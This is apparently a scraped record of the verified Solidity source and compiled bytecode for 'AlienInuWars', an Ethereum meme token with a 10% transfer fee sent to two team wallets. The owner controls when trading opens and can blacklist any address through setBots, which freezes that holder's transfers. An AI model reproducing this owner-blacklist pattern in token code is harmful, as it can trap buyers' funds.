fffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611ef682600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197e90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a360019050929150505600a165627a7a7230582008843a2d4eee873f3257721ddf89cd10545252bed6bd498fdb010151be11a9b50029
{"success": true, "error": null, "results": {}}
7,433
0x7e723acb6eb1688ccd6e5ad21eace881ecfe6de2
/** *Submitted for verification at Etherscan.io on 2021-11-28 */ /** *Submitted for verification at Etherscan.io */ /** * */ /** * AlienInuWars - $AlienInuWars * Website http://www.alieninuwars.com * Telegram: https://t.me/AlienInuWars * Play our 1st game http://www.alieninuwarsgame.co * Chinese TG: https://t.me/AlienInuWarsCN /** * */ /** */ pragma solidity ^0.8.3; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract AlienInuWars is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "AlienInuWars"; string private constant _symbol = "AlienInuWars"; uint8 private constant _decimals = 18; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable addr1, address payable addr2) { _FeeAddress = addr1; _marketingWalletAddress = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_FeeAddress] = true; _isExcludedFromFee[_marketingWalletAddress] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 1; _teamFee = 9; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 1; _teamFee = 9; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 30000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612d79565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128a3565b61045e565b6040516101789190612d5e565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612efb565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612850565b610490565b6040516101e09190612d5e565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906127b6565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612f70565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061292c565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f91906127b6565b610786565b6040516102b19190612efb565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612c90565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612d79565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128a3565b610990565b60405161035b9190612d5e565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906128e3565b6109ae565b005b34801561039957600080fd5b506103a2610ad8565b005b3480156103b057600080fd5b506103b9610b52565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612986565b6110b4565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612810565b611200565b6040516104189190612efb565b60405180910390f35b60606040518060400160405280600c81526020017f416c69656e496e75576172730000000000000000000000000000000000000000815250905090565b600061047261046b611287565b848461128f565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d84848461145a565b61055e846104a9611287565b6105598560405180606001604052806028815260200161364e60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f611287565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b129092919063ffffffff16565b61128f565b600190509392505050565b610571611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612e5b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b61066a611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612e5b565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610755611287565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b76565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c71565b9050919050565b6107df611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612e5b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f416c69656e496e75576172730000000000000000000000000000000000000000815250905090565b60006109a461099d611287565b848461145a565b6001905092915050565b6109b6611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612e5b565b60405180910390fd5b60005b8151811015610ad457600160066000848481518110610a6857610a676132b8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610acc90613211565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b19611287565b73ffffffffffffffffffffffffffffffffffffffff1614610b3957600080fd5b6000610b4430610786565b9050610b4f81611cdf565b50565b610b5a611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bde90612e5b565b60405180910390fd5b601160149054906101000a900460ff1615610c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2e90612edb565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cca30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce800000061128f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1057600080fd5b505afa158015610d24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4891906127e3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610daa57600080fd5b505afa158015610dbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de291906127e3565b6040518363ffffffff1660e01b8152600401610dff929190612cab565b602060405180830381600087803b158015610e1957600080fd5b505af1158015610e2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5191906127e3565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610eda30610786565b600080610ee561092a565b426040518863ffffffff1660e01b8152600401610f0796959493929190612cfd565b6060604051808303818588803b158015610f2057600080fd5b505af1158015610f34573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f5991906129b3565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a18d0bf423c03d8de0000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105e929190612cd4565b602060405180830381600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b09190612959565b5050565b6110bc611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090612e5b565b60405180910390fd5b6000811161118c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118390612e1b565b60405180910390fd5b6111be60646111b0836b033b2e3c9fd0803ce8000000611f6790919063ffffffff16565b611fe290919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516111f59190612efb565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f690612ebb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136690612ddb565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144d9190612efb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c190612e9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561153a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153190612d9b565b60405180910390fd5b6000811161157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490612e7b565b60405180910390fd5b6001600a819055506009600b8190555061159561092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160357506115d361092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a4f57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ac5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116b557600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117605750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117b65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117ce5750601160179054906101000a900460ff165b1561187e576012548111156117e257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061182d57600080fd5b601e4261183a9190613031565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119295750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561197f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611995576001600a819055506009600b819055505b60006119a030610786565b9050601160159054906101000a900460ff16158015611a0d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a255750601160169054906101000a900460ff165b15611a4d57611a3381611cdf565b60004790506000811115611a4b57611a4a47611b76565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611af65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b0057600090505b611b0c8484848461202c565b50505050565b6000838311158290611b5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b519190612d79565b60405180910390fd5b5060008385611b699190613112565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bc6600284611fe290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611bf1573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c42600284611fe290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c6d573d6000803e3d6000fd5b5050565b6000600854821115611cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611caf90612dbb565b60405180910390fd5b6000611cc2612059565b9050611cd78184611fe290919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d1757611d166132e7565b5b604051908082528060200260200182016040528015611d455781602001602082028036833780820191505090505b5090503081600081518110611d5d57611d5c6132b8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611dff57600080fd5b505afa158015611e13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e3791906127e3565b81600181518110611e4b57611e4a6132b8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611eb230601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128f565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f16959493929190612f16565b600060405180830381600087803b158015611f3057600080fd5b505af1158015611f44573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611f7a5760009050611fdc565b60008284611f8891906130b8565b9050828482611f979190613087565b14611fd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fce90612e3b565b60405180910390fd5b809150505b92915050565b600061202483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612084565b905092915050565b8061203a576120396120e7565b5b61204584848461212a565b80612053576120526122f5565b5b50505050565b6000806000612066612309565b9150915061207d8183611fe290919063ffffffff16565b9250505090565b600080831182906120cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c29190612d79565b60405180910390fd5b50600083856120da9190613087565b9050809150509392505050565b6000600a541480156120fb57506000600b54145b1561210557612128565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b60008060008060008061213c87612374565b95509550955095509550955061219a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123dc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227b81612484565b6122858483612541565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122e29190612efb565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123456b033b2e3c9fd0803ce8000000600854611fe290919063ffffffff16565b821015612367576008546b033b2e3c9fd0803ce8000000935093505050612370565b81819350935050505b9091565b60008060008060008060008060006123918a600a54600b5461257b565b92509250925060006123a1612059565b905060008060006123b48e878787612611565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061241e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b12565b905092915050565b60008082846124359190613031565b90508381101561247a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247190612dfb565b60405180910390fd5b8091505092915050565b600061248e612059565b905060006124a58284611f6790919063ffffffff16565b90506124f981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612556826008546123dc90919063ffffffff16565b6008819055506125718160095461242690919063ffffffff16565b6009819055505050565b6000806000806125a76064612599888a611f6790919063ffffffff16565b611fe290919063ffffffff16565b905060006125d160646125c3888b611f6790919063ffffffff16565b611fe290919063ffffffff16565b905060006125fa826125ec858c6123dc90919063ffffffff16565b6123dc90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061262a8589611f6790919063ffffffff16565b905060006126418689611f6790919063ffffffff16565b905060006126588789611f6790919063ffffffff16565b905060006126818261267385876123dc90919063ffffffff16565b6123dc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126ad6126a884612fb0